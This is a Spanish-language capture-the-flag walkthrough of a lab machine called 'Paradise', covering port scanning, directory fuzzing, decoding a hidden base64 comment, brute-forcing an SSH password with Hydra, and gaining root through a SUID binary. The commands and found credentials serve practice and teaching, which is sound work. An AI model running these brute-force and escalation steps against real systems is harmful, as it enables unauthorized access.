

# Máquina Paradise

Lo primero que hice fue verificar la conectividad con la máquina víctima mediante un **ping** a su dirección IP. Esto me permitió confirmar si estaba activa en la red:

```
ping -c 1 172.17.0.2
```

La máquina respondió correctamente, lo que me indicó que estaba **encendida y accesible**.

```
(kali㉿kali)-[~/Desktop]
$ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.115 ms

— 172.17.0.2 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.115/0.115/0.115/0.000 ms
```

---

## Escaneo de Puertos

Luego realicé un escaneo de puertos a la dirección IP de la máquina víctima utilizando **Nmap** para identificar los servicios que estaban corriendo. Usé el siguiente comando:

```
sudo nmap -p- --open -sS -sCV -n -Pn --min-rate 5000 172.17.0.2
```

El escaneo reveló lo siguiente:

```
PORT STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http     Apache httpd 2.4.7 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: PARADISE)
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: PARADISE)
```

---

## Fuzzing de Directorios con Gobuster

Para analizar el contenido del servicio web que corría en el puerto 80, utilicé **Gobuster** para enumerar directorios y archivos interesantes:

```
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,py,sh,txt
```

Obtuve como resultado:

```
/index.html (Status: 200)
/login.php (Status: 200)
/galery.html (Status: 200)
/booking.html (Status: 200)
/img (Status: 301)
/server-status (Status: 403)
```

---

## Análisis del Código Fuente

Al revisar el código fuente de `/galery.html`, encontré un comentario oculto:

```
<!-- ZXN0b2VzdW5zZWNYZXRvCg== -->
```

Lo decodifiqué con base64:

```
echo "ZXN0b2VzdW5zZWNYZXRvCg==" | base64 --decode
```

El resultado fue:


```
estoesunsecreto
```

---

## Ataque de Fuerza Bruta

Siguiendo con la búsqueda, se ingreso aquel texto en la url y encontramos lo siguiente:

## Index of /estoesunsecreto

<a href="#">Name</a>	<a href="#">Last modified</a>	<a href="#">Size</a>	<a href="#">Description</a>
 <a href="#">Parent Directory</a>		-	
 <a href="#">mensaje_para_lucas.txt</a>	2024-07-28 21:04	109	

---

*Apache/2.4.7 (Ubuntu) Server at 172.17.0.2 Port 80*

Encontré una nota que decía:

```
REMEMBER TO CHANGE YOUR PASSWORD ACCOUNT, BECAUSE YOUR PASSWORD IS DEBIL AND THE
HACKERS CAN FIND USING B.F.
```

Eso me hizo pensar que el usuario **lucas** tenía una contraseña débil, así que decidí lanzar un ataque de fuerza bruta al servicio SSH utilizando **Hydra**:

```
sudo hydra -l lucas -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

El ataque fue exitoso. Obtuve las siguientes credenciales:

```
login: lucas password: chocolate
```

---

## Acceso al Sistema

Con esas credenciales, accedí vía SSH:

```
ssh lucas@172.17.0.2
```

Ya estaba dentro del sistema

---

## Escalada de Privilegios

Buscando posibles vectores de escalada, listé archivos con el bit SUID activado:

```
find / -perm -4000 2>/dev/null
```

Me llamaron la atención los siguientes archivos:

```
/usr/local/bin/privileged_exec /usr/local/bin/backup.sh
```

Verifiqué los permisos del binario `privileged_exec`:

```
ls -la /usr/local/bin/privileged_exec -rwsr-xr-x 1 root root 8789 Aug 30 13:13  
/usr/local/bin/privileged_exec
```

Al ejecutarlo:

```
/usr/local/bin/privileged_exec
```

¡Obtuve acceso como **root**!